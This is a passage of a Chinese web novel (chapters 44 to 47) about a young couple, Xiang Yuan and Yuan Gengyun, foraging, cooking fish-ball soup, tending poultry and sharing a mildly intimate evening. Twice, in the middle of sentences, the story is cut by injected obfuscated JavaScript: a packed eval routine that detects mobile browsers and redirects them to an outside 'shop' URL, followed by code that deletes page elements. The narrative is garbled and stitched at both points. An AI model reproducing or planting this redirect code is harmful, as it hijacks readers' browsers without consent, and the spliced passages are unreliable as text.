她们要找落在地上的,挂在藤上那些,成熟度不够,花穗晒干也不成絮,不好用。 一过春分,天气转暖,月眠藤就开始结豆荚,豆荚长半个月就成熟脱落。一株月眠藤从仲春到夏初,能结好几茬豆荚。 河滩地上遍布石头,絮荚落得满地都是,把石头都遮严实了,估计已经落两茬了,再看藤上挂着的这一茬,花絮也都胀鼓鼓的,只怕要不了几天就会脱落。 向园和杨可真像是两只掉到小鱼盆里的大猫,话都舍不得多说,只顾埋头捡。 好半天,杨可真才抬起头来,“这也太多了,收拾出来肯定够这一年用的。” 捡完一片地,两人的背篓都满了。以往她和小姐妹们出去寻摸两三天,也未必有这样的收获。 向园也很高兴,“等过几天,咱们再来看一遍,说不定还能再捡一批回去。” 再捡一批的话,她就能做一个厚实软和的大枕头。 她要做个大一点、长一点的,放到草堂那里,歇晌的时候她和耕耘哥哥可以一起枕,还可以放到秋千上做靠背。 现在他们枕的是棉花枕头,是婚前樊云英给他们置办的,软乎乎的棉花枕,很舒服,放在卧房里用。 草堂的榻上,放的是一方木枕。昨天才收拾出来的屋子,向园还没在里头歇过晌,单是看着那方木枕,她就觉得脑袋疼了。 杨可真自然应下,两人坐着歇了一会儿,正要背着背筐走,二黄叫了起来。 不是惊慌或警惕的叫声,反而像打招呼,还走到向园身边,埋着脑袋拱了拱她的小腿,呜呜叫了两声。 向园往四周看了看,“大黑?三花?耕耘哥哥?” 杨可真噗嗤一声笑出来,既是笑她把原耕耘排在大黑、三花之后,也是笑一时不注意,她就换了个称呼,早上还喊人九哥呢。 果然,不等向园再喊,石峡里就窜出来两只大狗,不是大黑和三花又是哪个? 二黄兴奋地过去和它们打招呼,到底大侄子心疼姑姑,大黑给二黄捎了一只竹鸡,个不大,足够二黄打牙祭了。 它叼着过来给向园看,那竹鸡还活着,向园问它,“就生着吃啊?等回去拔毛开膛再吃好不好?” 那样就不会吃得一嘴血一嘴毛了。 二黄也不知道听懂了没有,呜呜叫着,带着人往回走。 向园:“……欸?等等九哥啊。” “噗嗤!”杨可真没忍住,又是一声笑。 二黄止住脚步,朝大黑和三花望去。俩狗没接收到它的视线,跳河里游泳去了。 三花游一会儿,连脑袋都钻进水里,很快抛了一条鱼上岸。这是刚刚被大黑比下去了,不高兴,补给二黄的。 向园提了鱼,摸摸二黄的头,“晚上给你们煮竹鸡鱼肉粥吃。” 原耕耘一行人也很快出现。 周满仓最先说话,“就说它俩怎么跑这么快,原来是闻见味儿了。” 向园笑着正要走过去,原耕耘冲她摇摇头,对周满仓道:“你带大黑先走,下山帮我们薅菜吧,我们一会儿就去拿。” 周满仓的猎物是一窝竹鼠,原耕耘又送了他两只,都被他装在口袋里,虽说闷了半晌不咋活泼了,但谁知道半路会不会突然叫唤。 作为回报,周满仓说要给他挖一篮子蔬菜。 周满仓想想有道理,点头应下,就是走之前没能憋住,跟杨可真炫耀了一下,“二嫂,我捉了一窝竹鼠,咱们夕食炖了吃啊!” 向园:“……” 她呜了一声拔腿就跑,往远离周满仓的方向跑。 周满仓:“……” 周二仓踢了他一脚,“还不快走!” 周满仓:“……” 杨可真都惊讶,向园怎么听不得这个,不只她惊讶,黄穗安都觉得稀奇。 怪不得上次九郎捉了竹鼠也不要,就送给他们了,今天还是,这搁谁谁不糊涂啊。到这会儿,他才算看明白,原来是他媳妇儿怕这个,怪不得拿来换菜。 原耕耘已经丢 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根本不怕还很爱吃的杨可真:“……对,你不知道,老三见天拿这个吓我,我原本挺怕的,现在都叫他吓疲了,听到也只当没听见,反正他也逮不着。” 向园本来不信的,但是杨可真这么一说,她就觉得是真的,周满仓看着的确像会吓唬人的样子。 但还是有点丢脸,杨可真怕,但是杨可真都不跑。她怕,她就哭着跑。这也太怂了,大家肯定要笑话她。 向园收了泪,脸却憋红了,看着更可怜。 原耕耘不想让人看到她这般模样,他看向杨可真。 杨可真:“……我想起来,咱俩出来火还没退呢,我赶紧回去看看。” 不用她提,周二仓就扛起她的背篓往下跑,“你说说你咋这么不经心呢,那木头盖的房子,你们用火还这样粗心大意的!” 杨可真跟在他后头,想一脚把他踹到火堆上去。 看完全程的黄穗安:“……” 真是想不到,这两对竟然是这样的相处方式。 他以为原九和他媳妇儿玩的是扮猪吃老虎那一套,没想到他俩竟然是粗野大尾巴狼和红眼眶小白兔。 还有周二仓两口子,要不是今天这一出,他还没发现,杨娘子才是深藏不露的那个啊。 他咋舌不已,跟着周家两口子下山。 原耕耘他们也没耗太久,他陪向园洗了把脸,接过她的背筐自己背上。 向园要拿他斜挎的竹篓,他没让。 这个挎篓是专门用来装蛇的,今天没遇到蛇,那里头装的是一只蛇蜕,他怕吓到向园。 向园就去拎被一二三严密看守的兔子。 兔子不算太沉,原耕耘就由着她,牵着她的手下山。 到小院时,也只跟周二仓他们错了一步。 向园提前留了一盆山芝麻叶出来,给黄穗安,让他带回去给家里人尝鲜。 黄穗安没想到,还挺不好意思,更加后悔当初没有带着大哥一起来问了。 若是大哥也在,说不定大嫂也能跟她们做朋友。 杨娘子和向娘子两个,一个爽快,一个憨实,大嫂跟她们相处,肯定比跟娘和妹妹交好的那些人相处起来容易。 45. 第 45 章 下山时,杨可真摘了几片大叶子盖在筐上,给向园那筐也盖了几片。 向园马上用钦佩的眼光看过去,显然明白对方为什么这么做,但是她就没想起来。 别看村里人都好,看见什么你有他没有的,也爱说几句酸话。要是看见她们弄这一大箩筐絮荚,不得薅着人问个底儿掉才怪。 他们还得拐到村里去拿菜呢。 原耕耘见过絮荚,只是他不知道这东西做什么用,他怕向园背着背筐下山吃力,问道:“不急用的话,就先放山上,回头我背下去。” 杨可真眼皮一跳。 周二仓和黄穗安都惊奇地看原耕耘,显然他们清楚妇人捡这东西做什么,但这些事,都是心知肚明,男人看见了,不是嘴贱的不会问出口。 也是知道他们都不是话多的人,又是碰巧遇上的,杨可真才没刻意遮掩。 不知道自己嘴贱的原耕耘迷瞪了一下,以为自己问错了话。 向园一心想着做枕头,也没觉得不好意思,她摆摆手,“这又不沉,趁着天好,赶紧回去晒干漂净了,我看够不够做枕头的,不够的话还要再来捡一次。” 原耕耘点点头,更不明白他们的诡异目光是什么缘由了,他看回去。 这回不自在的成了周二仓和黄穗安,他们低下头,觉得自己龌龊,怎么能这样猜测原耕耘呢,分明人家就没想歪,也不是嘴贱。 杨可真投给向园一个敬佩的眼光。 可以啊,妹妹,表情语气浑然天成,毫无违和感,一点也看不出来是在说瞎话。 天色不早,几人赶忙下山。 到路口处,原耕耘正说让向园等着,他去拿菜,那边周满仓就拎着菜跑出来了。 他下山一路上也回过味来了,此时就解释道:“原嫂子,我错了,我不知道你害怕那个,我不是故意吓唬你的,我以后逮到竹鼠再也不炫耀了。” 周二仓:“……” 他觉得弟弟娶不着媳妇儿是有原因的。 杨可真:岂止是有原因,如今看来,没相上自家小叔子的小娘子,真是眼明心亮,慧眼如炬。 向园深吸一口气,绷住嘴,又想原地跳高。 原耕耘握住她手,“没事,我在。” 把傻乎乎的弟弟赶回家,周二仓把菜篮给他们,让他们赶紧离开。 等走出老远,向园才猛出一口气。她最近,都不要再往周家去了。 到家时,日头恰好挂在山尖。 卸下背篓,向园把絮荚和山芝麻叶分别摊到笸箩里,笸箩就在三脚架上,这会儿没太阳,就先晾一夜,等明天再晒。 原耕耘捉的两只兔子有些瘦,他从柴棚里扒拉出一个笼子,把兔子塞进去,“等养肥了宰了吃。” 向园点头,水塘边就有不少兔子爱吃的草,每天顺手割一把的事。 眼看时候不早,向园烧水做饭,原耕耘喂鸡鸭鹅。 向园收拾了菜篮子,发现里头有两颗白菜,几个萝卜,几根莴苣,还有一把豌豆荚和一个陶罐。 白菜和萝卜都是冬天收的,能存到现在,看着还水灵新鲜的,这个真要些功夫。向园对周婶子敬佩不已,想着回头一定要去取取经。 豌豆荚嫩生得很,向园决定剥几颗,一会蒸饭的时候掺进去,肯定又清香又嫩生。 陶罐不大,向园猜测可能是平日打酒的罐子,闲置了装些咸菜腌菜什么的,因为她以前就经常这么干。不过她们家不怎么用得到酒,所以攒了很长时间,也只攒了几个。 向园掀开盖子看看,里头是泡萝卜。周婶子的泡菜手艺也很好,不用凑近,就能闻到那股鲜甜酸辣的味道。以后早上就有小菜佐餐了,她美滋滋抱着罐子往灶棚底下走。 把泡菜罐放到橱柜里,向园拿着菜刀去宰竹鸡,走到门口,就看到挂在杆子上的竹鸡和鱼,这是二黄那一份,拎回来时,顺手就挂上去了。 她想起几天之前自己信口开河,说要给原耕耘做鱼圆鸡汤,一直到今天也没做。 不舍得杀老母鸡是一个原因,还有一个原因,就是她不会做鱼圆。 要不,就拿二黄的口粮试一试? 二黄就在一边围观,向园跟它商量,“二黄,不吃粥了好不好,给你做个别的。新鲜的,肯定、很大可能会比粥好吃的,好不好?” 这是向园头一回做鱼圆,还真不能保证肯定好吃,她中间改了口。 二黄不知听懂了没,反正汪汪叫着回应几声,向园就当它答应了。 鱼圆,大概就是鱼丸子?向园思索着。她没有做过鱼丸子,但是她会做肉丸子,还会做鱼糕。 鱼圆估计跟肉丸子差不多,吃起来口感可能像鱼糕?她琢磨一会儿,心里有了数,趁水还没烧开,先处理鱼。 这条鱼不小,应当说一二三根本看不上小鱼,但凡它们下河,不捞一条牢牢卡住嘴巴的大鱼,是不会罢休的。 去鳞开膛都不在话下,难的是去骨去刺,好在这是草鱼,刺本来就不算多。 剔出鱼肉,剁成鱼茸,向园仿照肉丸子的做法,打了个鸡蛋,把蛋清滤进去,又加了盐调味,加胡椒粉去腥,还加了葱姜水和红薯粉。 然后就是搅拌,拌匀成糊状,向园觉得差不多了。她犹豫了一下,又加了点猪油进去,再搅拌,看着鱼肉糊就亮堂多了,跟山药泥似的,刮一下,能带出一捋来,看着是上劲了。 鱼骨向园也没舍得扔,打算等会儿煎一煎炖到汤里。 这边弄好,水刚好滚开,向园准备收拾竹鸡的时候,原耕耘也喂完鸡鸭过来了。 “在做什么?”他一边搓手,一边探进来看。 “给一二三做好吃的。”虽说向园有很大把握,但鱼丸还没煮出来,她也说不好到底会不会好吃。 要是煮熟了,她尝着好吃,再告诉耕耘哥哥她做的是鱼圆鸡汤好了。 原耕耘瞧她一眼,也没细问,“棚子底下看不清了,你点个油灯照明。” 向园都没注意,“好。”她应下,点了灯,给竹鸡褪毛。 原耕耘接过手,“你去弄那个糊糊吧,我来收拾。” 他都闻见鱼腥气了,向园不肯告诉他,他就假装不知道。 向园想着也是,先把鱼圆煮出来,要是好吃再往鸡汤里炖,要是不好吃,就别糟蹋鸡汤了。 她留出褪竹鸡要用的热 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等他咬下一个,细细咀嚼,向园期待地看过去,“怎么样,好吃吗?” 原耕耘笑出声来,“你这是用什么做的糖葫芦,怎么跟鱼圆一个味道?”很惊讶的样子。 向园更高兴了,又喂给他一颗,“这就是鱼圆啊。” 原耕耘:“我就说,怎么跟以前吃的鱼圆那么像,这个比那个还要好吃。” “真的呀!”向园有信心了,“咱们晚上就吃鱼圆鸡汤。”她也蹲下,帮着收拾竹鸡。 竹鸡比鸡难收拾,主要是竹鸡体型小巧,每只都不超过半斤重,因此乡下地方,又把竹鸡叫做竹半斤。 他们收拾好几只竹半斤,也抵不上处理一只鸡得的肉多,工夫却一点不少花。 原耕耘已经弄好三只了,还有两只,他让向园拔毛,自己动手开膛。这跟收拾鸭子不一样,竹鸡小,稍不注意就会割到手,原耕耘不放心让她拿刀。 两个人速度就快些,没一会儿就把竹鸡收拾好了。 竹鸡以树叶、嫩芽、嫩花苞为食,也会啄食杂草种子、树木种子和小虫子,山间的竹鸡还会找药材吃,所以它们肉嫩味美的同时,体内可能有药性,向园腌的时候多加了点姜。 鱼骨煎焦,加滚水炖到汤白,向园把骨刺都捞出来,开小火,下腌好的鸡块慢炖,炖得香味都出来了,再下鱼丸,这鱼圆竹鸡汤就算好了。 一二三已经围着灶棚转圈圈,显然也是被这香味吸引来的。 原耕耘点了艾草把各处熏了熏,也凑过来,向园不说,他都不敢相信她是头一回做这个。 向园还不大满意,因为她记得原耕耘说过,县城食铺做的,还会加蛋皮和山珍。 她今天决定得仓促,没有提前煎蛋皮,家里有干菌子和干木耳,是原耕耘去年收的,她也没来得及泡。 汤里除了竹鸡块和鱼圆,她就只加了笋子和一把粉皮,别的都没。 没有也没办法,她提醒自己下次一定要记得,就开始盛饭舀汤。 46. 第 46 章 向园盛饭舀汤,原耕耘往外端。 盛好了他们的,给一二三也各舀一盆晾上,他们在凉亭里吃,能看着它们,免得烫着。 原耕耘没法形容这种味道,就是很好吃,很好吃很好吃。 加了青豌豆的米饭,配着鲜美浓郁的鱼圆鸡汤,让人心中生出奇异的满足,就好像是在外行走多年的旅人一朝归家,吃到的第一口食物,充满故乡的味道。 但故乡是什么味道,谁也说不清楚,可能是酸甜苦辣咸里的任意一种,也可能是五味杂陈,悲喜交加。无论是哪一种,心底却有着落了,不再风雨漂泊。 原耕耘尝过之后,就看向向园。 向园也刚喝过一口汤,舒服得笑眯了眼睛,还不忘问原耕耘,“怎么样?耕耘哥哥,我做的很好吃吧?” 有点得意,还有点狡黠。 原耕耘没忍住笑出声来,“自然,我从来没有喝过这样好喝的鸡汤,你做的比食铺做得还好。” 食铺里做的好吃,是他们加了好料,努力钻研很多年,不断改进的结果。 可向园做的好吃,就是纯粹的好吃。她就是有天赋,能把每一种食物本味中最鲜美最特别最真切的部分完整地留存下来,等着被牙齿咬破的一瞬间,在舌尖迸发。 炖的一锅汤,笋片、鱼丸和鸡肉被两人三狗吃完了。 向园摸摸圆鼓鼓的肚皮,觉得再这样吃下去,她可能也会长出小肚子。 一二三三只已经趴在凉亭里卧着了。大黑和三花在山上就没少吃食,晚上这一餐都是硬吃的,最后实在吃不下,也推给二黄了。二黄自己的量刚好够吃的,但它不知饥饱,它们推给它,它就继续吃,也跟着吃撑了。 向园围着院子转悠,等经过原耕耘身边的时候,她蹲下道:“以后你来给它们盛饭吧!总这样吃撑,对身体不好。” 原耕耘经常带着一二三上山打猎,知道它们吃多少合适,不会饿着也不会撑着。向园就不行,她自己吃饭就没个估摸,遇到喜欢吃的,就要多吃一点,更别说给狗盛饭了。 一二三偶尔吃一顿剩饭剩菜,大多时候都是跟着他俩一起吃饭的,向园就心疼它们。 盛饭的时候,老大一勺、老二一勺、老三再一勺,但是今天老大老三打野食了,老二没有,可能会饿,她就要给老二添一勺。再想想,老大老三活动量不小,总不能给老二吃,不给它们吃,就又给它们再添一勺。 添来添去的,谁都得吃撑。 但这样也有个好处,就是他们家基本不剩饭。 原耕耘放好碗筷,洗过手,拉她在秋千上坐下,一边帮她揉肚子,一边道:“好,以后我来给它们盛饭,你别心疼就行。” 原耕耘喂狗,早上一般不会喂得太饱,这是要刺激它们的凶性,打猎的时候能更猛。 晌午一般在山上,就是打到什么吃什么,不过都比较慌张,肯定没有家里做的精细软和,遇上没有收获或者跟猎物相持不下的时候,说不定这一顿就隔过去了。 到了晚上,他会估摸着三只白天吃的东西给它们盛食儿,白天吃得饱,晚上就少吃点甚至不吃。白天没怎么吃,晚上就会给它们吃饱。 他最近没管,是因为一二三喜欢向园,向园心疼它们,他比较着,也觉得这三只以往跟着他受苦了。 这不该是猎人该有的想法,他得改改。 鸡汤还剩下一半,向园决定明天早上煮米粉吃,再烫几片白菜叶,想想都美味。 她意犹未尽地坐在床上泡脚。 原耕耘又要去捏她的脚,向园不让,把脚藏在他脚底下,脚趾紧紧扣着盆底。 “耕耘哥哥,你好好泡,泡好了上来我给你捏背。” 原耕耘直起身瞧她,“不累?” 向园没觉得累,倒是今天活动量够大,她伸懒腰的时候,找回了以往在山中采药,来回奔波一天的熟悉感觉。 原耕耘还是握住她脚踝,把她脚提溜上来,放在自己膝盖上。 向园脚趾还蜷缩着,从左到右,跟一串樱桃似的,个儿从大到小,均匀排列。 原耕耘伸出手指戳一下,向园大脚趾就往后翘,避之不及的模样。 嗯,更像樱桃了,像一束炸.开的樱。 原耕耘笑出声,不再逗她,认真给她捏脚。 向园说要给原耕耘捏背可不是说说而已。 原耕耘出去倒洗脚水,洗完手进来,向园还盘腿在床沿上坐着。 见他进来,招手道:“耕耘哥哥,快来快来,我给你捏背。” 虽然明白她这话没有别的意思,但原耕耘看着听着,身体还是不自觉僵硬起来。 女人不明白男人的兽.性来自哪里,不动心的人也不明白动心的人为何动.情,只是用手,已经无法满足心中越裂越宽、越裂越深的欲.望沟壑了。 她的手自然很好,可她整个就在那儿,就在他眼前,就在他身侧,明明知道有更隐秘的地方可以探索,有更舒服的方式可以放纵,为什么要克制呢。 只一瞬,汗珠从原耕耘额头滑落,他想起山中小院,想起她递给他的那碗水,想起她明明遥远却又回荡在耳边的声音,想起挂在树梢熟透了的娇艳欲滴的鲜红果实。 如果向园现在给他倒水,他一定会吃了她,像野兽吞噬猎物,撕咬,进食,咀嚼,回味。 不,不用她倒水,她只要走过来,只要站起来,只要坐在那儿,就够了。 原耕耘背过身去,大口大口吸气。 “耕耘哥哥?你怎么了?” 担忧的声音传来,柔软的躯体贴近,原耕耘垂下眼,看到握在自己腰上的纤细手指。 原来被她从背后拥抱,是这样的感觉吗? “向园,不捏背好不好?我们做点别的。”原耕耘转过身,眼睛里浓稠的情意想是要化作水滴出来。 向园落入他的瞳孔,像被他的手指摆布时一样,呼吸都轻了。 “耕耘哥哥,你不累?”向园再次贴近。 正面的拥抱,让她感受到原耕耘的心跳,扑通扑通,强劲有力,像他这个人一样。 “向园,我想要,我想你,很想很想。”他贴近她的耳朵,把她抱起来。 不是因为想吞掉她,而是因为她赤脚站在地上。 向园搂住他的脖子,“耕耘哥哥,是不是看见我你身上就难受。”她已经感受到不同寻常的东西了,虽然试图熟悉过很多次,但好像还是不够熟悉。 “哼~”原耕耘轻笑出声,“向园,你要不要看看医书?你看看医书上有没有写,为什么男人很容易就动.情动.欲,女人却不会这样。” 向园不能理解,这是她一生也无法跨越的性别壁垒,她依旧将那当成是生病。 “还是难受吗?我学,我明天就开始学,不过我们明天先去看大夫好不好,你这样,会不会是上火了?” 向园说着,取下遮掩在壶嘴上的杯子,给他倒了一杯金银花茶,“你要多喝水,不能怕苦。” 原耕耘又笑出声来,这次是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16459426|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦笑,“不是说要给我捏背吗?来吧!” 向园:“这就好了?要是实在难受,不然我先帮你?” 原耕耘:“……” 原耕耘要气炸了,对着她吐出可恶话语自己却一无所知的嘴巴狠狠咬下去,只是高高举起,轻轻落下,向园只觉得唇瓣被牙齿轻轻碾磨了一下,然后就是很温柔很温柔的亲吻。 耕耘哥哥真好! 向园把着他的肩膀给他按揉起来,就是这个姿势,她有些使不上劲儿。 原耕耘:“……” 原耕耘觉得再这样下去,自己迟早要废。 他翻过身,让向园坐在她背上好好捶。 向园满意了,她觉得这才是夫妻间正常的欢快的夜间活动,那种伤身体的事情还是少做为妙。 原耕耘宽肩窄腰,脊背宽厚坚硬,腰劲瘦有力。向园刚坐上去,还不敢坐实,虚虚蹲着,怕把他压坏了。 原耕耘没感觉到她的力道,两手握住她脚腕一拽,她瞬间坐实,两手也不由自主扶在他赤.裸的脊背上。 感受到突然压下来的这股力量,原耕耘反而安心了点。她一点也不沉,浑身上下哪里都软软的,接触他腰的那个位置,两团肉更是浑厚滚圆,比她手有劲多了。 原耕耘想让她在自己身上滚一遍,或许比按揉更有用。 心里这样想,却不敢嫌弃她没力道,向园问了,也只敢回答:“很好,很舒服,嗯,对,就是那儿,再用力一点……别用指尖,用手掌……” 向园吃饭的劲儿都使出来了,也没按动他背上凸出来的那两块骨头,这是天宗穴吧。向园按着按着就忘了自己是捏背的,不是按摩穴位的。 不过坚硬的肩胛骨难以克服,她就转移阵地,往肩膀上走。 一个人骨头硬,不是局部骨头硬,是全身骨头都硬。原耕耘的肩膀也不软和,向园依旧按不动。 她有些泄气,明明她靠上去的时候不觉得硬啊,怎么按的时候,一点肉都按不到,全是骨头。 “那不是骨头,是肌肉。”原耕耘合起手臂,枕在下巴底下,给她提建议,“你撑着手臂坐,然后用脚跟捶我。” “捶这里。”他手掌拍了拍自己的肩膀。 脚跟或许会比手掌有力些,但想想向园的脚后跟,原耕耘又不抱太大希望,好歹总比手掌力道大。 向园认真听从建议,果然坐实了,用腿的力道带动脚跟,一下一下砸在原耕耘拍过的位置。 左右两边都砸,带得滚圆碾在腰上,跟瞎驴拉磨盘似的乱转。原耕耘舒服地喟叹一声,以后向园再说要给他捏肩揉背的话,也别上手了,直接上脚吧。 唯一的问题是,原耕耘肩背筋骨舒展的时候,向园的小腿也酸了。 “耕耘哥哥,我,我腿好像抽筋了。” 向园抬着一只脚,不敢动弹。右脚大脚趾和膝盖相连接的一根筋绷直了,带得她小腿酸疼起来。 原耕耘心慌,但她在自己背上,他又不敢转身,急忙扭头看,“哪里?哪里?” 他看清了,扭着胳膊顺着她绷直的小腿按揉,从膝下揉到脚腕,好一会儿,向园才放松下来,那根筋已经恢复正常了。 原耕耘松口气,转过身来,就听向园道:“这样果真省劲儿,耕耘哥哥,下次我还用脚后跟给你按。” 原耕耘:“……我看你的腿是不疼了!” 真是没一点记性! 向园依旧欢欢喜喜地笑,哪怕脚抽筋,她也喜欢这项活动。 47. 第 47 章 向园的絮荚晒干漂净,去籽后得到的花絮就足够缝枕头了,但她还是和杨可真一起又去捡了一次。 都是好东西,眼下用不上,总有用上的时候,扔在那儿就可惜了。 原耕耘和周二仓也跟着,他们俩去捋山芝麻叶,她们俩去捡絮荚,满载而归。 枕头好做,只要花絮弄干净,敲打匀称,塞进枕套里就行。但夏天马上就来了,向园的衣裳还没做出来。她前头净忙着给原耕耘做衣裳了,自己的还没顾上。 原耕耘让她把别的事儿先放放,着紧把衣裳做出来,别耽误夏天穿。 向园点头,买了那么多布,她要好好琢磨琢磨,做两身漂亮裙子穿。 原耕耘虽然不打猎,也经常往山上跑。 这个时候山上有枸杞芽和花椒叶,还有青花椒,蕨菜和竹笋等,都是好菜,他摘回来,向园就能做出好吃的。就是一时吃不完,也能做成干菜腌菜的。 可能被向园传染,他现在也非常喜欢囤货。 以前,他只爱囤柴火,还是因为他娘冬天怕冷,要攒够柴火好过冬。 他觉得,向园可能也会怕冷,所以他现在就有意囤柴火了,每天下山都会带一捆,能拿住就带大捆,拿不下就带小捆,总之不会空手。 两人忙忙碌碌的,生活渐渐规律起来,很快,三月就过去了。 一进四月里,连着下了三天雨,还没有转晴的迹象。 一早,原耕耘把水缸挑满,把一天要用的柴火劈好,就带上斗笠去稻田里拔草除虫。 他出发的时候,向园差不多起床,她洗漱完先把水烧上,就去鸡窝里收鸡蛋,喂鸡喂兔,再去鸭圈里把鸭和鹅撒开。这点小毛毛雨,不会影响鸭鹅觅食。 五只老母鸡,每天都有虫子加餐,下蛋就很勤快,基本上一天一个。 这些虫子原本是向园专门给它们捉的,这几天,原耕耘要下地,他捉了虫子也不丢掉,直接就带回来了,向园就不再专门去捉。还有田里拔出来的一些杂草,鸡也爱吃。 五个鸡蛋,向园要么煮白水蛋,煮两个,存三个。要么摊饼子,用掉三个,存下两个。 反正每两天至少能存五个鸡蛋。 半个多月过去,她已经存了有五十二个了。 还有鸭蛋和鹅蛋。 鸭和鹅都撒开到水塘里了,向园每天早上撒开,晌午去看一道,傍晚再过去收蛋,顺便把它们撵回圈里。 其他时候都是大黑守在那儿。 大黑其实是在守乌龟,但是鸭和鹅不知道啊。向园刚把鸭雏和鹅崽儿撒到水塘的时候,因为小家伙们不是和大鸭大鹅一窝的,也不是它们生的,没少被它们欺负。 尤其大鹅,凶得很,追着小鸭小鹅叨,向园拿棍子赶了一通,后来实在不放心,见天守在水塘边的树底下做活儿,只要看到大鹅动手,她就把大鹅撵回圈去,不让它们在水塘里活动。 大黑看着,就过来帮忙,也跟着撵大鹅,后来不用向园出手,一看到大鹅欺负小的,大黑就汪汪叫着冲上去,把大鹅撵得上蹿下跳。 大鹅长了记性,慢慢的就不瞎啄了。 两只鸭是去年春天孵的,一只公的,一只母的。今年头一次下蛋,每天都能下一个,大都下在水塘边的草窝里。有时候也会下到水塘里,不过大黑很知事,看到就会用爪子扒拉着推上来。 向园攒了十七只鸭蛋,打了三个给一二三加餐,她做了一次鸭蛋炒韭菜,用了四个,还攒下十个。 两只母鹅,都养了两三年了,可能到了最能下蛋的年纪,它俩几乎都是一天一个蛋,偶尔隔一天,所以鹅蛋攒了不少。前几日向园拿了十个去村里瞧陆太叔公,现在数数,还有二十二个。 向园放完鸭鹅回去,水刚好烧开,她把和好的稀面糊倒进锅里,不停搅拌,等到汤彻底沸开,她才停手。这样不会糊锅。 面汤熬着,向园美滋滋拿了两个鸡蛋,洗干净磕开搅匀,倒进煮开花的面汤里。 这样的鸡蛋穗稀饭不是他们这边常见的做法,是向园跟邻居家阿婆学的,说是喝了能暖胃健脾,下火止痢。 向园觉得原耕耘胃不是很好,虽然他不说,平时看着也很健康,但向园还是有所察觉,他有些时候面色不太好。 向园觉得,很可能是饿的。 毕竟他秋冬常在山上打猎,如果要盯紧猎物或者和猎物搏斗的话,很多时候就来不及吃饭。 而且山里危险,就是吃也只能吃些硬巴巴的干粮,吃不上热乎软和的。 时间久了,可能就会坐下病来。 从她隐隐发现开始,她就有意地多做面食,这些天大都蒸的包子馒头,有两天还煎了水煎包吃。 毕竟花那么多钱买了只大煎锅,放着不用太浪费了。 前天蒸的一锅馒头还有几个,都挂在房梁上。向园站在凳子上取下篮子,拿出四个切成片,看了看,只剩下两个了,干脆都拿出来切了。 今天就煎馒头片吃,都煎完,吃不完中午还可以掺着青菜炒了,再吃一餐。 煎馒头片有蘸鸡蛋液煎的,煎出来外焦里嫩,吃起来当然也好吃,但是很费油。 向园更喜欢蘸盐水,多煎一段时间,煎得两面金黄,吃起来外焦里酥。 当然也可以用油、花椒粉、辣椒粉、孜然粉和酱油调成糊,抹到馒头片上再煎,那香味就更加浓郁了,不只有麦香味和面食的焦香味,还有香料的香味。 不过早上还是要吃清淡一点,而且最近不能再让耕耘哥哥吃辣椒粉了,向园果断选择蘸盐水煎。 原耕耘带着一篓草和一瓮虫回来,向园刚好把馒头煎完,正在往竹笸箩里垫芭蕉叶。 竹编的笸箩底部有横纵交织的纹路,不好清洗。垫个芭蕉叶,再把馒头片铲上去,油气就被阻隔,浸透不过去,清洗的时候,笸箩随便涮一涮就干净了。 “耕耘哥哥,你回来了,我正要喊你吃饭呢。” 向园喊原耕耘吃饭也容易,水田就在院子前头,隔着篱笆叫一声,他就能听见。 “嗯,没剩多少,已经弄完了。” 说着,原耕耘递过来一个破竹篓,向园伸头一看,里头是半筐螺蛳。 他在地里忙活两三天,草差不多都拔干净了,只剩下一点小尾巴,今天过去,很快就弄完了,剩下的时间他都在找这个。 “都是稻田里头摸的,晚会儿砸碎,就够晚上喂的。我刚刚把鸭雏鹅崽赶去稻田里了,稻苗返青了,长势很好,茎秆粗,不怕它们咬坏。”他道。 “好!”向园想着也是。 水塘里东西虽多,但是小鸭小鹅是抢不过几个老大哥老大姐的,好容易找些好食儿,都到嘴边了,还要被它们抢走。 单独撒到稻田里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16470515|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就没那么多烦恼了,大家都差不多大,吃饭全凭本事,谁也不会想着去抢别人的。 三亩稻田地方可不小,足够小家伙们撒欢了。 想着,向园看他衣衫潮乎乎的,恐怕穿着不舒服,便道:“耕耘哥哥,屋里烧的有热水,你去洗洗换个衣裳吧,我再炒个菜。你想吃韭菜还是笋子?” 馒头片铲出来,锅底还沾着一层油,干脆炒个菜,免得浪费了。 种韭菜那块地很肥,半个月就能割一茬,交错着割,基本想吃就能吃到。 干笋子家里有,但是得泡开。向园昨天在院子后头的竹林里扒了一小筐,已经焯过水了,想吃也是现成的。 “吃笋子吧。” 原耕耘近几天常听向园一个人嘀咕,大概清楚她是要给自己调养脾胃。 韭菜伤胃,但是他挺喜欢吃的。她就隔天做一次,不是做成包子,就是做成馅儿饼,还做过一回水煎包。但不管怎么做,都是弄得熟透,韭菜独有的刺鼻味道就淡了,这样吃进肚子里,不会难受。 原耕耘很快洗好出来,向园也把笋子炒好了,他过来帮忙盛汤端菜。 这个时候,已经有夏天的闷热感觉了,两人坐在草堂延伸过来的凉亭里吃饭。 石板桥下,水声汩汩,接连不断。 水塘里鸭鹅“嘎嘎”“昂昂”的清亮叫声和稻田里鸭雏鹅崽稚嫩的声音交错响起,伴着虫鸣鸟叫,把安静的清晨渲染得热闹起来。 吃过朝食,向园回那院看看菜苗。 天气暖和,本来是有些干的,向园还担心种的菜出得不好,就每天早晚去浇一遍水。这几日下雨,她才关注得少些。 原耕耘同她一起。 